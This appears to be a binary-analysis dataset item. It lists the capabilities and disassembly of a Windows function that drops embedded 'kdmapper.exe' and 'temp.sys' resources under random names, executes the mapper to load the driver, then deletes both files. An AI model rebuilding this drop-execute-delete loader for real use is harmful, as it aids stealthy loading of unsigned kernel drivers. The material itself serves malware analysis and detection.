Function at 0x140004f70
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x870
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rsi, str.kdmapper.exe
mov edx, 0x2e
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdx, rsi
lea rcx, [rsp + 0x60]
mov rdi, rax
mov rbx, rax
sub rdi, rsi
sar rdi, 1
mov r8, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
add rdi, rdi
cmp rdi, 0x1fe
jae 0x1400052b6
mov qword [rsp + 0x880], rbp
lea rcx, [rsp + 0x460]
xor ebp, ebp
mov word [rsp + rdi + 0x60], bp
sub rcx, rbx
movzx eax, word [rbx]
mov word [rcx + rbx], ax
lea rbx, [rbx + 2]
test ax, ax
jne 0x140004ff0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
imul ebx, eax, 0x12345678
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea r8, str._x_x
mov dword [rsp + 0x20], ebx
imul r9d, eax, 0x12345678
lea rcx, [rsp + 0x48]
mov edx, 9
call fcn.1400027e0
lea rax, [rsp + 0x460]
mov edx, 0xff
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x260]
call fcn.1400027e0
lea rsi, str.temp.sys
mov edx, 0x2e
mov rcx, rsi
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
mov rdx, rsi
lea rcx, [rsp + 0x460]
mov rbx, rax
mov rdi, rax
sub rbx, rsi
sar rbx, 1
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcsncpy]
add rbx, rbx
cmp rbx, 0x1fe
jae 0x1400052bc
lea rcx, [rsp + 0x660]
mov word [rsp + rbx + 0x460], bp
sub rcx, rdi
nop word [rax + rax]
movzx eax, word [rdi]
mov word [rcx + rdi], ax
lea rdi, [rdi + 2]
test ax, ax
jne 0x1400050c0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
imul ebx, eax, 0x12345678
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea r8, str._x_x
mov dword [rsp + 0x20], ebx
imul r9d, eax, 0x12345678
lea rcx, [rsp + 0x48]
mov edx, 9
call fcn.1400027e0
lea rax, [rsp + 0x660]
mov edx, 0xff
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rsp + 0x60]
call fcn.1400027e0
mov edx, 0x65
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x260]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, rsi
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rsi
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0x66
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, rdi
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rdi
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
mov rdx, rax
mov r8d, ebx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 1
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rbp
lea r8, [rsp + 0x260]
xor ecx, ecx
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rbp, qword [rsp + 0x880]
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.140006140
lea r11, [rsp + 0x870]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.1400062d8
int3
call fcn.1400062d8
int3